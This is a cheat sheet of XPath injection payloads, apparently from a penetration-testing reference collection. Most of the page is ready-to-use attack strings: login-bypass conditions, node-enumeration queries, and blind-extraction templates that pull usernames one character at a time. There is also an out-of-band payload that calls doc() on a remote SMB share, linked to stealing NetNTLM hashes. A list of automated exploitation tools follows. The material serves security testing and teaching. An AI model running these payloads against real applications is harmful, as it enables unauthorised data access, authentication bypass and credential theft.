# XPATH injection > XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. ## Summary * [Exploitation](#exploitation) * [Blind exploitation](#blind-exploitation) * [Out Of Band Exploitation](#out-of-band-exploitation) * [Tools](#tools) * [References](#references) ## Exploitation Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"` ```sql ' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* */* @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/*)=1 and '1'='1 ' and count(/@*)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/*[contains(*,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ``` ## Blind Exploitation 1. Size of a string ```sql and string-length(account)=SIZE_INT ``` 2. Extract a character ```sql substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ``` ## Out Of Band Exploitation ```powershell http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE') ``` ## Tools - [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents - [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool - [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text - [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) - [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool ## References * [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) * [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)